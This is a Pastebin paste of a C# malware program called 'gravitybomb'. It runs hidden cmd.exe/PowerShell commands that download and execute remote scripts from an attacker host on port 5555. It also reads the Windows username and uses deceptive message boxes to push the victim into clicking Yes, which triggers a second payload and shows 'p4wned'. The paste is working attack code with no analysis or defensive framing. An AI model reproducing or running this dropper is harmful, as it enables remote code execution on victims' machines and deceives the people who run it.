LegendarySaiyan

0x002

Nov 30th, 2022
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.04 KB | Cybersecurity | 0 0
  1. using System.Text;
  2. using System.Runtime.InteropServices;
  3.  
  4. namespace gravitybomb
  5. {
  6.     class Program
  7.     {
  8.         public static void ping1234()
  9.         {
  10.             System.Diagnostics.Process p3 = new System.Diagnostics.Process();
  11.             System.Diagnostics.ProcessStartInfo s3 = new System.Diagnostics.ProcessStartInfo();
  12.             s3.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
  13.             s3.FileName = "cmd.exe";
  14.             s3.Arguments = "/C powershell -c IEX([Net.Webclient]::new().DownloadString('http:/[]:5555/test2.ps1'))";
  15.             p3.StartInfo = s3;
  16.             p3.Start();
  17.         }
  18.  
  19.         public static void runf1()
  20.         {
  21.             System.Diagnostics.Process p4 = new System.Diagnostics.Process();
  22.             System.Diagnostics.ProcessStartInfo s4 = new System.Diagnostics.ProcessStartInfo();
  23.             s4.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
  24.             s4.FileName = "cmd.exe";
  25.             s4.Arguments = "/C powershell -c IEX([Net.Webclient]::new().DownloadString('http://[]:5555/test3.ps1'))";
  26.             p4.StartInfo = s4;
  27.             p4.Start();
  28.         }
  29.  
  30.         [DllImport("User32.dll")]
  31.         public static extern int MessageBoxW(
  32.             IntPtr hWnd,
  33.             [param: MarshalAs(UnmanagedType.LPWStr)] string lpText,
  34.             [param: MarshalAs(UnmanagedType.LPWStr)] string lpCaption,
  35.             UInt32 uType
  36.         );
  37.  
  38.         [DllImport("Advapi32.dll")]
  39.         public static extern bool GetUserNameW(
  40.         [param: MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpBuffer,
  41.         ref UInt32 pcbBuffer
  42.         );
  43.  
  44.  
  45.         public static void username()
  46.         {
  47.             StringBuilder mySB = new StringBuilder(100);
  48.             UInt32 sZ = 20;
  49.  
  50.             bool res = GetUserNameW(mySB, ref sZ);
  51.             string user = mySB.ToString();
  52.             Console.WriteLine("data gen ");
  53.             MessageBoxW(IntPtr.Zero, "user " + user + " verified", "Username Box", 0);
  54.         }
  55.  
  56.         public delegate void sample();
  57.  
  58.         static void Main(string[] args)
  59.  
  60.         {
  61.  
  62.             byte[] buf = new byte[220];
  63.             UInt32 MEM_COMMIT = 0x00001000;
  64.             UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  65.             UInt32 MEM_DECOMMIT = 0x00004000;
  66.  
  67.             sample s = Program.username;
  68.             s();
  69.  
  70.             Thread t1 = new Thread(new ThreadStart(ping1234));
  71.             Thread t2 = new Thread(new ThreadStart(runf1));
  72.  
  73.             Console.WriteLine("please close this window");
  74.             int userclick = 0;
  75.             while (userclick == 0)
  76.             {
  77.                 t1.Start();
  78.                 int test = MessageBoxW(IntPtr.Zero, "Click Yes to close", "Finish", 4);
  79.                 if (test == 6)
  80.                 {
  81.                     t2.Start();
  82.                     MessageBoxW(IntPtr.Zero, "p4wned", "1337", 0);
  83.                     userclick = 2;
  84.                 }
  85.                 else { MessageBoxW(IntPtr.Zero, "please click yes", "hi", 0); }
  86.             }
  87.         }
  88.     }
  89. }
Advertisement
Add Comment
Please, Sign In to add comment